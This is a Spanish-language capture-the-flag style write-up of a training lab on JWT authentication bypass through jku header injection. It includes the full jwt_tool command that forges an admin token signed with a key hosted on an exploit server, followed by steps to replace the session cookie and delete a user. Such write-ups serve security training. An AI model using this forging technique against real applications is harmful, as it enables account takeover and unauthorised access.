JWT authentication bypass via jku header injection writeup

Descripción

This lab uses a JWT-based mechanism for handling sessions. The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.

To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

JWT authentication bypass via jku header injection writeup

Entramos al laboratorio, vamos a ‘My account’ y al iniciar sesión veremos que se nos ha insertado en el navegador una cookie JWT:

Sabemos que es un JWT debido a que está separada por 2 puntos.Tenemos que cambiar el usuario ‘sub’ de wiener a ‘administrator’ y volver a firmar el token. Para ello usaremos JWT_Tool con el siguiente comando:

python3 jwt_tool.py eyJraWQiOiI5NjBmYTVhMy1mNjY2LTQyMTctOTk1OS04MzVjYTUxZGYwYzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNzA0NTY3Miwic3ViIjoid2llbmVyIn0.b37OUhojtKh0GKBSOM0cZeou77_OHpSH9NunRwVLIBdjRaLx2uMQdVl8jKTokcn_XU4VvLxZXfC1h4oyyYJ6itCZn1tSBweCkR4KsKLqb-6dprw6JQgLFrKDqgvxLxLGYgQoViy0eMiI3tnC9WOPYfumGUdA9A6hm_yfoH2RkGycbiCItburNY572pnbxwEYP2aNt3JKkIXH4qf6UiJphdg2DzP7EA7SUTXS6L1JZbY0WpwBU2K4pm66UdOy8ZiL9DzVg92s27lUBhEpFVYKXjT0gVonNIvoxtgBoe4ogQSA-atku01umTCDWodNn2BEoW4GOnMybSLag8duu32RPA -X s -ju https://exploit-0a8a0049045b93ec8019fcd1017b0083.exploit-server.net/exploit.json -T

Proporcionaremos el JWT de la aplicación y usaremos los siguientes argumentos:

Con la opción T, tendremos que cambiar lo siguiente según vaya apareciendo en la consola:

El resultado es el siguiente:

Ahora, tomaremos el fragmento creado en /home/diego/.jwt_tool/jwttool_custom_jwks.json y lo llevaremos a nuestro exploit server del laboratorio:

Añadiremos la extensión ‘.json’ al nombre del archivo y pulsaremos en ‘Store’. Después, copiaremos el JWT y sustituiremos nuestra cookie de sesión por él. Al refrescar la página podremos acceder al ‘Admin panel’, borrar al usuario ‘carlos’ y completar el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *